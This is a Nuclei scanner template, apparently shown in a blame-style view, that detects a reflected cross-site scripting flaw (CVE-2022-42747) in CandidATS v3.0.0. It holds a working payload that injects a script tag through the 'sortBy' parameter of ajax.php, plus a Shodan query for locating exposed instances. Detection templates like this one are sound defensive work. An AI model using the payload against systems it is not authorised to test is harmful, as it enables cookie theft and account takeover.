2022-11-04 13:23:33 +00:00
|
|
|
id: CVE-2022-42747
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: CandidATS v3.0.0 - Cross Site Scripting.
|
|
|
|
author: arafatansari
|
2022-11-09 15:18:20 +00:00
|
|
|
severity: medium
|
|
|
|
description: |
|
|
|
|
CandidATS v3.0.0 on 'sortBy' of the 'ajax.php' resource, allows an external attacker to steal the cookie of arbitrary users.
|
2022-11-04 13:23:33 +00:00
|
|
|
reference:
|
|
|
|
- https://fluidattacks.com/advisories/modestep/
|
2022-11-09 15:18:20 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-42747
|
2022-11-09 17:14:00 +00:00
|
|
|
- https://fluidattacks.com/advisories/jcole/
|
|
|
|
- https://candidats.net/
|
2022-11-09 15:18:20 +00:00
|
|
|
classification:
|
2022-11-09 17:14:00 +00:00
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 6.1
|
2022-11-09 15:18:20 +00:00
|
|
|
cve-id: CVE-2022-42747
|
2022-11-09 17:14:00 +00:00
|
|
|
cwe-id: CWE-79
|
2022-11-04 13:23:33 +00:00
|
|
|
metadata:
|
2022-11-09 16:52:07 +00:00
|
|
|
shodan-query: http.html:"CandidATS"
|
2022-11-09 17:14:00 +00:00
|
|
|
verified: "true"
|
2022-11-09 15:18:20 +00:00
|
|
|
tags: cve,cve2022,candidats,xss
|
2022-11-04 13:23:33 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
2022-11-04 13:25:55 +00:00
|
|
|
path:
|
2022-11-09 15:18:20 +00:00
|
|
|
- '{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&sortDirection=desc&indexFile=1&isPopup=0'
|
2022-11-04 13:23:33 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
2022-11-09 15:18:20 +00:00
|
|
|
- '<script>alert(document.domain)</script>'
|
|
|
|
- 'candidat'
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- text/html
|
2022-11-04 13:55:01 +00:00
|
|
|
|
2022-11-04 13:23:33 +00:00
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 404
|